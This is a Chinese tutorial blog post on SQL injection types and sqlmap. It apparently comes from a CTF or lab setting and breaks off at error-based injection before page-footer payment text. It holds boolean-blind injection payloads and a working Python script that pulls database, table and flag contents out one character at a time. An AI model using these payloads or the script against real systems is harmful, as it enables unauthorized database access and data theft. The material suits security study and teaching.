sql注入与sqlmap工具使用

SQL的注入类型:

  1. Boolean-based blind SQL injection(布尔型注入)
  2. Error-based SQL injection(报错型注入)
  3. UNION query SQL injection(可联合查询注入)
  4. Stacked queries SQL injection(可多语句查询注入)
  5. Time-based blind SQL injection(基于时间延迟注入)

Boolean-based blind SQL injection(布尔型注入)

通过判断页面返回情况获得想要的信息。

如下SQL注入:

   1 http://hello.com/view?id=1 and substring(version(),1,1)=5    

如果服务端MySQL版本是5.X的话,那么页面返回的内容就会跟正常请求一样。攻击者就可以通过这种方式获取到MySQL的各类信息。

id='' and ascii(substr((select flag from flag), 2, 1))?102#
构造以上的请求进行字符猜解。


补充一个布尔型字符猜解的脚本:

import requests;
url='http://192.168.5.78/viewld.do?ldid=2%20And%20'
maystr='0987654321qwertyuiopasdfghjklzxcvbnm._{}'
flag=''
str=''

for j in range(50):
	for i in maystr:
		#str = url + "Substring((SeLect database()) From %s fOr 1)='%s'" %(j,i)
			#news
		#str = url + "Substring((SeLect group_concat(table_name) From InfOrmation_schema.tables WHere table_schema='news')From %s fOr 1)='%s'" %(j,i)
			#tb_admin tb_flag tb_news
		#str = url + "Substring((SeLect group_concat(column_name) From InfOrmation_schema.columns WHere table_name='tb_flag')From %s fOr 1)='%s'" %(j,i)
			#flag
		str = url + "Substring((SeLect flag From tb_flag)From %s fOr 1)='%s'" %(j,i)   
			#flag{1396265adbb760c86475304b98e3f61c}
		res=requests.get(str).text
		
		if len(res)>1200:
			flag+=i
			print i
			continue

print flag

Error-based SQL injection(报错型注入)

如果页面能够输出SQL报错信息,则可以从报错信息中获得想要的信息。

典型的就是利用group by的duplicate entry错误。关于这个错误,貌似是MySQL存在的 bug:

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值